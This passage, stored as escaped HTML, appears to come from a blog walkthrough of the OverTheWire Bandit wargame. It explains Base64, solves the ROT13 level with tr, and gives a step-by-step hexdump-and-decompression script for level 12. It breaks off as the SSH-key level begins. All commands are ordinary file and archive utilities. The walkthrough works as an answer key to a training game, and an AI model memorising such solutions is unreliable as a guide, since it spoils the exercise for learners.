&lt;p&gt;Be sure you understand what &lt;em&gt;encoding&lt;&#x2F;em&gt; is in this context.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Base64&quot;&gt;Base64&lt;&#x2F;a&gt; is just one scheme of many to convert binary data into printable characters i.e. alphanumeric characters with the addition of the equal sign &lt;code&gt;=&lt;&#x2F;code&gt;. In fact, that equal sign &lt;code&gt;=&lt;&#x2F;code&gt; is used for padding the end of encoded text, so it’s often a dead giveaway that some text was Base64 encoded. For example, the word “password” when Base64 encoded is &lt;code&gt;cGFzc3dvcmQ=&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Base64 encoded text is extremely common on the web and you’re likely to come across it at some point, so it may behoove you to read up on it. FreeCodeCamp has an &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.freecodecamp.org&#x2F;news&#x2F;what-is-base64-encoding&#x2F;&quot;&gt;excellent article&lt;&#x2F;a&gt; that gives a good overview of how Base64 works and what it’s used for.&lt;&#x2F;p&gt;
&lt;p&gt;You’re less likely see other forms of binary to text encoding, but feel free to &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Binary-to-text_encoding&quot;&gt;read more&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-11&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-11&quot; aria-label=&quot;Anchor link for: level-11&quot;&gt;Level 11&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This challenge is describing what’s commonly known as a shift cipher or &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Caesar_cipher&quot;&gt;Caesar cipher&lt;&#x2F;a&gt;. It’s not actually used in modern times for any meaningful attempts at securing messages, but it’s somewhat popular in CTFs and wargames.&lt;&#x2F;p&gt;
&lt;p&gt;To keep within the spirit of the wargame, let’s first go over how you might solve this challenge in the terminal. One of the recommended commands is &lt;code&gt;tr&lt;&#x2F;code&gt; which can “[t]ranslate, squeeze, and&#x2F;or delete characters” according to the description. Here’s a few different ways to go about it.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Rotate the alphabet by 13 letters where both input and output are explicit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; data.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; tr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Similar to above except the input is defined by a regular expression&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; data.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; tr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;a-zA-Z&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Similar to above except both the input and output are defined by a regular expression&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; Note: the odd arrangement for the output is the necessary since Regex doesn&amp;#39;t allow&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; the letter ranges to wrap around&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; data.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; tr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;a-zA-Z&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;n-za-mN-ZA-M&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;While the &lt;code&gt;tr&lt;&#x2F;code&gt; command is cool and all, there’s an even cooler tool you should be using when investigating any challenge related to cryptography. And that’s &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gchq.github.io&#x2F;CyberChef&quot;&gt;CyberChef&lt;&#x2F;a&gt;. CyberChef has a huge number of useful features for transforming data and supports hundreds of data formats and encoding schemes.&lt;&#x2F;p&gt;
&lt;p&gt;Check out the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gchq.github.io&#x2F;CyberChef&#x2F;#recipe=ROT13(true,true,false,13)&quot;&gt;CyberChef ROT13 cipher solver&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-12&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-12&quot; aria-label=&quot;Anchor link for: level-12&quot;&gt;Level 12&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;&#x2F;code&gt;, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under &lt;code&gt;&#x2F;tmp&lt;&#x2F;code&gt; in which you can work. Use &lt;code&gt;mkdir&lt;&#x2F;code&gt; with a hard to guess directory name. Or better, use the command &lt;code&gt;mktemp -d&lt;&#x2F;code&gt;. Then copy the datafile using &lt;code&gt;cp&lt;&#x2F;code&gt;, and rename it using &lt;code&gt;mv&lt;&#x2F;code&gt; (read the manpages!)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This challenge is quite tedious. As the prompt mentions, it’s a good idea to create a temp directory to work with all the files. For example &lt;code&gt;mkdir &#x2F;tmp&#x2F;my-super-secret-directory&lt;&#x2F;code&gt; followed by &lt;code&gt;mv ~&#x2F;data.txt &#x2F;tmp&#x2F;my-super-secret-directory&lt;&#x2F;code&gt;. Now we’re ready to begin.&lt;&#x2F;p&gt;
&lt;p&gt;The first step is to recognize the format of the &lt;code&gt;data.txt&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Taking a look at the first few lines shows that this file isn’t just a text file. It’s a hexdump. Read the first few lines with &lt;code&gt;head -n5 data.txt&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;00000000: 1f8b 0808 dfcd eb66 0203 6461 7461 322e  .......f..data2.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;00000010: 6269 6e00 013e 02c1 fd42 5a68 3931 4159  bin..&amp;gt;...BZh91AY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;00000020: 2653 59ca 83b2 c100 0017 7fff dff3 f4a7  &amp;amp;SY.............&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;00000030: fc9f fefe f2f3 cffe f5ff ffdd bf7e 5bfe  .............~[.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;00000040: faff dfbe 97aa 6fff f0de edf7 b001 3b56  ......o.......;V&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Don’t panic! You don’t need to be able to read this stuff right away. Just recognizing it as a hexdump is enough. Fortunately, one of the recommended commands is made specifically to handle hexdumps. The &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;xxd.1.html&quot;&gt;xxd&lt;&#x2F;a&gt; command.&lt;&#x2F;p&gt;
&lt;p&gt;Using &lt;code&gt;xxd&lt;&#x2F;code&gt; with the &lt;code&gt;-r&lt;&#x2F;code&gt; flag can reverse the hexdump into a binary file.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;xxd&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; data.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This output &lt;code&gt;data&lt;&#x2F;code&gt; file is now in it’s original format and can be examined with &lt;code&gt;file data&lt;&#x2F;code&gt; to determine it’s type.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;data: gzip compressed data, was &amp;quot;data2.bin&amp;quot;, last modified: Thu Sep 19 07:08:15 2024, max compression, from Unix, original size modulo 2^32 574&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The result from &lt;code&gt;file&lt;&#x2F;code&gt; identifies it as “gzip compressed data”. To decompress the archive, use the &lt;code&gt;gunzip&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-warning&quot;&gt;
&lt;p&gt;Be aware, that the archive utilities like &lt;code&gt;gunzip&lt;&#x2F;code&gt; may require particular file extensions when decompressing files. For example, &lt;code&gt;.gzip&lt;&#x2F;code&gt; or &lt;code&gt;.gz&lt;&#x2F;code&gt;. Otherwise you may get an error like this.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;gzip: data: unknown suffix -- ignored&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;To complete this challenge, you must repeat this process of decompressing or extracting data into a new format, then verifying the new format with &lt;code&gt;file&lt;&#x2F;code&gt; eight times to reach the original flag file content.&lt;&#x2F;p&gt;
&lt;p&gt;Below is a script describing each step of the decompression. You could run the script directly on the Bandit host to get the flag, but I encourage you to walk through each decompression step manually and observe the different flags being used for each command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract.sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;xxd&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; data.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f1.gz&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;    #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract first gzip archive from hexdump&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;gunzip&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f1.gz&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f2.bz2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;   #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract bzip2 archive from f1.gz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;bunzip2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f2.bz2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f3.gz&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;  #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract gzip archive from f2.bz2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;gunzip&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f3.gz&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f4.tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;   #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract tar archive from f3.gz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;xOf&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f4.tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f5.tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;   #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract tar archive from f4.tar&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;xOf&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f5.tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f6.bz2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;   #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract bzip2 archive from f5.tar&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;bunzip2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f6.bz2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f7.tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract tar archive from f6.bz2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;xOf&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f7.tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f8.gz&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;    #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract gzip archive from f7.tar&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;gunzip&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; f8.gz&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; flag&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;     #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; extract plaintext flag file from f8.gz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; flag&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-13&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-13&quot; aria-label=&quot;Anchor link for: level-13&quot;&gt;Level 13&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in &lt;code&gt;&#x2F;etc&#x2F;bandit_pass&#x2F;bandit14&lt;&#x2F;code&gt; and can only be read by user &lt;code&gt;bandit14&lt;&#x2F;code&gt;. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level.&lt;&#x2F;p&gt;
&lt;p&gt;Note: &lt;code&gt;localhost&lt;&#x2F;code&gt; is a hostname that refers to the machine you are working on&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;useful-commands-3&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#useful-commands-3&quot; aria-label=&quot;Anchor link for: useful-commands-3&quot;&gt;Useful commands 3&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Once again, OverTheWire has provided some new recommended commands to investigate.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Command&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;ssh.1.html&quot;&gt;ssh&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a program for logging into or executing commands on remote machines&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
